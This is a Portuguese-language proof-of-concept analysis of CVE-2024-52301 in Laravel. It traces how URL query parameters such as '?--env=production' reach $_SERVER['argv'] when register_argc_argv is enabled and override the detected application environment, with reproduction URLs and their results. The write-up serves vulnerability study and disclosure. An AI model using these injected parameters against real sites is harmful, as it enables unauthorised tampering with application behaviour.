
Prova de conceito de exploit para CVE-2024-52301 demonstrando manipulação de ambiente no Laravel via parâmetros de URL injetados, com análise detalhada de código e etapas de reprodução.
Esta vulnerabilidade é baseada na vulnerabilidade CVE-2024-50340
A opção register_argc_argv deve estar ativada no arquivo de configuração do PHP (php.ini). Esta configuração carrega argumentos de linha de comando e parâmetros de consulta em $_SERVER['argv'].
https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv
//Illuminate\Foundation\Application
public function detectEnvironment (Closure $callback)
{
$args = $_SERVER['argv'] ?? null;
return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}
Propósito: Este método detecta o ambiente acessando $_SERVER['argv'], que contém argumentos de linha de comando, e então delega para a classe EnvironmentDetector.
Fonte da Vulnerabilidade: Ao confiar em $_SERVER['argv'], quaisquer parâmetros de URL injetados (por exemplo, ?--env=dev) poderiam manipular $_SERVER['argv'] para conter ["--env=dev"]. Este array é passado diretamente para detect, potencialmente permitindo que um invasor controle o ambiente.
//Illuminate\Foundation\EnvironmentDetector
public function detect(Closure $callback, $consoleArgs = null)
{
if ($consoleArgs) {
return $this->detectConsoleEnvironment($callback, $consoleArgs);
}
return $this->detectWebEnvironment($callback);
}
Propósito: O método detect determina se $consoleArgs (o array argv) é fornecido. Se presente, chama detectConsoleEnvironment para lidar com a detecção de ambiente baseada em console; caso contrário, chama detectWebEnvironment para requisições HTTP.
Caminho para a Vulnerabilidade: Se $_SERVER['argv'] incluir valores injetados como --env=dev, isso leva a detectConsoleEnvironment, que processa os argumentos e pode alterar o ambiente da aplicação para um diferente.
//Illuminate\Foundation\EnvironmentDetector
protected function detectConsoleEnvironment(Closure $callback, array $args)
{
// First we will check if an environment argument was passed via console arguments
// and if it was that automatically overrides as the environment. Otherwise, we
// will check the environment as a "web" request like a typical HTTP request.
if (! is_null($value = $this->getEnvironmentArgument($args))) {
return $value;
}
return $this->detectWebEnvironment($callback);
}
Propósito: Este método verifica se o argumento --env está presente entre os argumentos do console.
Mecanismo: Ele chama getEnvironmentArgument para ver se algum dos argumentos argv especifica um ambiente. Se --env for fornecido, este método retorna o valor do ambiente especificado, ignorando a chamada detectWebEnvironment.
//Illuminate\Foundation\EnvironmentDetector
protected function getEnvironmentArgument(array $args)
{
foreach ($args as $i => $value) {
if ($value === '--env') {
return $args[$i + 1] ?? null;
}
if (str_starts_with($value, '--env=')) {
return head(array_slice(explode('=', $value), 1));
}
}
}
Propósito: Este método analisa argv para encontrar o argumento --env. Mecanismo:
Configuração do Ambiente:
O arquivo .env tem APP_ENV=development, então por padrão, a aplicação está definida como ambiente de desenvolvimento.
@production
<p>Production environment</p>
@endproduction
@env ('local')
<p>Local environment</p>
@endenv
Acesso Padrão (http://localhost):
Como APP_ENV está definido como development e nenhum argumento --env é injetado, nem a diretiva @production nem @env('local') correspondem.
Resultado: A saída está vazia.
Argumento Injetado para Production (http://localhost?--env=production):
Com ?--env=production na URL, $_SERVER['argv'] é manipulado para conter ["--env=production"].
Isso aciona o mecanismo de detecção de ambiente do Laravel, definindo o ambiente como production.
Resultado: A diretiva @production gera <p>Production environment</p>.
Argumento Injetado para Local (http://localhost?--env=local):
Com ?--env=local, $_SERVER['argv'] inclui ["--env=local"], alterando o ambiente para local.
Resultado: A diretiva @env('local') gera <p>Local environment</p>
Esta vulnerabilidade não permite alterar o ambiente dentro da função config. Em vez disso, afeta apenas a configuração do ambiente dentro da classe Application.
Assim, embora as diretivas Blade e outras partes do código dependam da classe Application para detectar o ambiente, o código que usa a função config não é afetado por esta vulnerabilidade.